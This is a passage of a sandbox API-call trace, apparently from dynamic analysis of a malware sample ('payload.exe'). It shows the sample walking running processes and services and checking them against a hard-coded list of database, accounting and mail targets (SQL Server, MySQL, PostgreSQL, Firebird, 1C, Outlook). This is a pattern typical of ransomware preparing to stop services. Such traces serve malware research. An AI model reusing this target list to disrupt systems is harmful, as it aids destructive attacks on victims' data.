lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0110.727] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0110.727] Process32NextW (in: hSnapshot=0x3b8, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0110.727] lstrlenW (lpString="csrss.exe") returned 9 [0110.727] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0110.727] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0110.727] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0110.727] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0110.727] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0110.727] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0110.727] Process32NextW (in: hSnapshot=0x3b8, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0110.728] lstrlenW (lpString="winlogon.exe") returned 12 [0110.728] Process32NextW (in: hSnapshot=0x3b8, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0110.728] lstrlenW (lpString="services.exe") returned 12 [0110.728] Process32NextW (in: hSnapshot=0x3b8, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0110.728] lstrlenW (lpString="lsass.exe") returned 9 [0110.728] Process32NextW (in: hSnapshot=0x3b8, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0110.728] lstrlenW (lpString="lsm.exe") returned 7 [0110.728] Process32NextW (in: hSnapshot=0x3b8, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0110.729] lstrlenW (lpString="svchost.exe") returned 11 [0110.729] Process32NextW (in: hSnapshot=0x3b8, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x290, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0110.729] lstrlenW (lpString="svchost.exe") returned 11 [0110.729] Process32NextW (in: hSnapshot=0x3b8, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0110.729] lstrlenW (lpString="svchost.exe") returned 11 [0110.729] Process32NextW (in: hSnapshot=0x3b8, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x310, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0110.729] lstrlenW (lpString="svchost.exe") returned 11 [0110.729] Process32NextW (in: hSnapshot=0x3b8, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2d, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0110.730] lstrlenW (lpString="svchost.exe") returned 11 [0110.730] Process32NextW (in: hSnapshot=0x3b8, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0110.730] lstrlenW (lpString="audiodg.exe") returned 11 [0110.730] Process32NextW (in: hSnapshot=0x3b8, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0110.730] lstrlenW (lpString="svchost.exe") returned 11 [0110.730] Process32NextW (in: hSnapshot=0x3b8, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x150, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0110.730] lstrlenW (lpString="svchost.exe") returned 11 [0110.730] Process32NextW (in: hSnapshot=0x3b8, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0110.731] lstrlenW (lpString="userinit.exe") returned 12 [0110.731] Process32NextW (in: hSnapshot=0x3b8, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x310, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0110.731] lstrlenW (lpString="dwm.exe") returned 7 [0110.731] Process32NextW (in: hSnapshot=0x3b8, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x460, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0110.731] lstrlenW (lpString="explorer.exe") returned 12 [0110.731] Process32NextW (in: hSnapshot=0x3b8, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x484, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0110.731] lstrlenW (lpString="spoolsv.exe") returned 11 [0110.731] Process32NextW (in: hSnapshot=0x3b8, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0110.732] lstrlenW (lpString="taskhost.exe") returned 12 [0110.732] Process32NextW (in: hSnapshot=0x3b8, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0110.732] lstrlenW (lpString="svchost.exe") returned 11 [0110.732] Process32NextW (in: hSnapshot=0x3b8, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="payload.exe")) returned 1 [0110.732] lstrlenW (lpString="payload.exe") returned 11 [0110.732] Process32NextW (in: hSnapshot=0x3b8, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x558, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0110.732] lstrlenW (lpString="reader_sl.exe") returned 13 [0110.732] Process32NextW (in: hSnapshot=0x3b8, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1d0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0110.733] lstrlenW (lpString="taskhost.exe") returned 12 [0110.733] Process32NextW (in: hSnapshot=0x3b8, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x588, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0110.733] lstrlenW (lpString="dllhost.exe") returned 11 [0110.733] Process32NextW (in: hSnapshot=0x3b8, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x324, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x338, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0110.733] lstrlenW (lpString="consent.exe") returned 11 [0110.733] Process32NextW (in: hSnapshot=0x3b8, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0110.733] lstrlenW (lpString="dllhost.exe") returned 11 [0110.733] Process32NextW (in: hSnapshot=0x3b8, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0 [0110.734] CloseHandle (hObject=0x3b8) returned 1 [0110.734] Sleep (dwMilliseconds=0x1f4) [0111.306] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x3ab74b8 [0111.306] EnumServicesStatusExW (in: hSCManager=0x3ab74b8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x21dff44, lpServicesReturned=0x21dff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x21dff44, lpServicesReturned=0x21dff5c, lpResumeHandle=0x0) returned 0 [0111.306] GetLastError () returned 0xea [0111.307] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x11e4) returned 0x5e07c8 [0111.307] EnumServicesStatusExW (in: hSCManager=0x3ab74b8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x5e07c8, cbBufSize=0x11e4, pcbBytesNeeded=0x21dff44, lpServicesReturned=0x21dff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x5e07c8, pcbBytesNeeded=0x21dff44, lpServicesReturned=0x21dff5c, lpResumeHandle=0x0) returned 1 [0111.307] CloseServiceHandle (hSCObject=0x3ab74b8) returned 1 [0111.307] lstrlenW (lpString="Appinfo") returned 7 [0111.307] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0111.307] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0111.307] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0111.307] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0111.307] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0111.308] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0111.308] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0111.308] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0111.308] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0111.308] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0111.308] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0111.308] lstrlenW (lpString="AudioSrv") returned 8 [0111.308] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0111.308] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0111.308] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0111.308] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0111.308] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0111.308] lstrlenW (lpString="BFE") returned 3 [0111.308] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0111.308] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0111.308] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0111.308] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0111.308] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0111.308] lstrlenW (lpString="CryptSvc") returned 8 [0111.308] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0111.308] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0111.308] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0111.308] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0111.308] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0111.308] lstrlenW (lpString="CscService") returned 10 [0111.308] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0111.308] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0111.308] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0111.308] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0111.308] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0111.308] lstrlenW (lpString="DcomLaunch") returned 10 [0111.308] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0111.308] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0111.308] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0111.308] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0111.308] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0111.308] lstrlenW (lpString="Dhcp") returned 4 [0111.308] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0111.308] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0111.308] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0111.308] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0111.308] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0111.308] lstrlenW (lpString="Dnscache") returned 8 [0111.308] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0111.308] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0111.308] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0111.309] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0111.309] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0111.309] lstrlenW (lpString="DPS") returned 3 [0111.309] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0111.309] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0111.309] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0111.309] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0111.309] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0111.309] lstrlenW (lpString="eventlog") returned 8 [0111.309] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0111.309] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0111.309] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0111.309] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0111.309] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0111.309] lstrlenW (lpString="EventSystem") returned 11 [0111.309] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0111.309] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0111.309] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0111.309] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0111.309] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0111.309] lstrlenW (lpString="gpsvc") returned 5 [0111.309] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0111.309] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0111.309] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0111.309] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0111.309] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0111.309] lstrlenW (lpString="iphlpsvc") returned 8 [0111.309] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0111.309] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0111.309] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0111.309] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0111.309] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0111.309] lstrlenW (lpString="LanmanServer") returned 12 [0111.309] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0111.309] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0111.309] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0111.309] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0111.309] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0111.309] lstrlenW (lpString="LanmanWorkstation") returned 17 [0111.309] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0111.309] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0111.309] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0111.309] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0111.309] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0111.309] lstrlenW (lpString="lmhosts") returned 7 [0111.309] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0111.309] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0111.309] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0111.309] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0111.309] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0111.309] lstrlenW (lpString="MMCSS") returned 5 [0111.309] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0111.309] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0111.309] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0111.310] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0111.310] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0111.310] lstrlenW (lpString="MpsSvc") returned 6 [0111.310] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0111.310] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0111.310] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0111.310] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0111.310] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0111.310] lstrlenW (lpString="Netman") returned 6 [0111.310] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0111.310] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0111.310] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0111.310] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0111.310] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0111.310] lstrlenW (lpString="netprofm") returned 8 [0111.310] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0111.310] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0111.310] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0111.310] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0111.310] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0111.310] lstrlenW (lpString="NlaSvc") returned 6 [0111.310] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0111.310] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0111.310] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0111.310] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0111.310] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0111.310] lstrlenW (lpString="nsi") returned 3 [0111.310] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0111.310] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0111.310] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0111.310] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0111.310] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0111.310] lstrlenW (lpString="PcaSvc") returned 6 [0111.310] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0111.310] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0111.310] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0111.310] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0111.310] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0111.310] lstrlenW (lpString="PlugPlay") returned 8 [0111.310] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0111.310] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0111.310] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0111.310] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0111.310] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0111.310] lstrlenW (lpString="Power") returned 5 [0111.310] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0111.310] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0111.310] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0111.310] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0111.310] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0111.310] lstrlenW (lpString="ProfSvc") returned 7 [0111.310] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0111.310] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0111.310] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0111.311] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0111.311] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0111.311] lstrlenW (lpString="RpcEptMapper") returned 12 [0111.311] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0111.311] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0111.311] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0111.311] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0111.311] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0111.311] lstrlenW (lpString="RpcSs") returned 5 [0111.311] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0111.311] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0111.311] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0111.311] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0111.311] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0111.311] lstrlenW (lpString="SamSs") returned 5 [0111.311] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0111.311] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0111.311] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0111.311] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0111.311] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0111.311] lstrlenW (lpString="Schedule") returned 8 [0111.311] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0111.311] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0111.311] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0111.311] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0111.311] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0111.311] lstrlenW (lpString="SENS") returned 4 [0111.311] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0111.311] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0111.311] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0111.311] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0111.311] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0111.311] lstrlenW (lpString="ShellHWDetection") returned 16 [0111.311] lstrcmpiW 